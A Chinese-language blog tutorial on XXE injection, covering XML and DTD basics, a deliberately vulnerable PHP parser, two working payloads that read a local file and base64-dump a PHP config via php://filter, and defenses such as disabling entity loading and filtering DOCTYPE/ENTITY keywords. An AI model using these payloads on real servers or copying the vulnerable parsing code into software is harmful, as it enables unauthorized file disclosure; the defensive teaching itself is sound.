一文讲清XXE漏洞原理及利用(干货)

XXE漏洞简介

  • 全称: XML External Entity Injection (XML外部实体注入漏洞)
  • 触发点: 上传xml文件的位置未进行过滤,导致可以加载恶意外部文件和代码。
  • 危害: 任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起DoS攻击等。

XML基础知识

XML介绍及用途

  • 用途: 用于传输和存储数据。
  • 结构: 树状结构,从根部开始扩展到枝叶。
  • 特点: 允许用户定义自己的标签和文档结构。

XML文档的构建模块

  1. 元素: XML及HTML文档的主要构建模块。
  2. 属性: 提供有关元素的额外信息。
  3. 实体: 用于定义普通文本的变量。
  4. PCDATA: 被解析的字符数据。
  5. CDATA: 不会被解析器解析的字符数据。

XML语法规则

  • 所有XML元素必须有一个闭合标签。
  • XML标签对大小写敏感。
  • XML必须正确嵌套。
  • XML属性值必须加引号。
  • 实体引用在XML中,空格会被保留。

XXE漏洞利用

存在XXE漏洞代码

<?php
$xml = file_get_contents('php://input');
$data = simplexml_load_string($xml);
echo "<pre>";
print_r($data); // 注释掉该语句即为无回显的情况
?>

DTD(文档类型定义)

  • 作用: 定义XML文档的合法构建模块。
  • 声明方式: 内部声明和外部引用。

DTD实体

  • 定义: 用于定义引用普通文本或特殊字符的变量。
  • 类型: 一般实体和参数实体。

漏洞利用示例

  1. 读取文档文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///c:/post.txt">
    ]>
    <name>&xxe;</name>
    
  2. 读取PHP文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">
    ]>
    <name>&xxe;</name>
    

XXE的攻击与危害

  1. 读取任意文件
  2. 执行系统命令
  3. 探测内网端口
  4. 攻击内网网站

防御XXE攻击

  1. 使用开发语言提供的禁用外部实体的方法

    • PHP: libxml_disable_entity_loader(true);
    • JAVA:
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);
      
    • Python:
      from lxml import etree
      xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
      
  2. 过滤用户提交的XML数据关键词: <!DOCTYPE<!ENTITY,或 SYSTEMPUBLIC

相关文章推荐

如果你觉得这篇文章对你有帮助,不妨看看以下几篇相关文章,内容同样精彩:

  1. 病毒肆虐,电脑遭殃,360和火绒哪家强?
    探讨了流行杀毒软件360和火绒的各自优缺点,以及在面对不同病毒威胁时的表现。
  2. 编码器与译码器的工作原理及应用
    详细解析了编码器与译码器的工作原理,特别是n位2^n线编码器的运算规律,对于学习计算机硬件的读者非常有帮助。
  3. python课程设计作业-TCP客户端-服务端通信
    介绍了如何使用Python进行TCP客户端与服务端通信的课程设计作业,适合对网络编程感兴趣的读者。
  4. 海明检验码过程(超详细)
    详尽讲解了海明检验码的原理和实现过程,适合需要了解错误检测与纠正编码的读者。

每篇文章都经过精心编写,涵盖了丰富的知识点和实用技巧,希望能为你的学习和实践提供更多帮助!

计算机原理复习目录汇总 ⬇️点击这里阅读完整文章⬇️

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值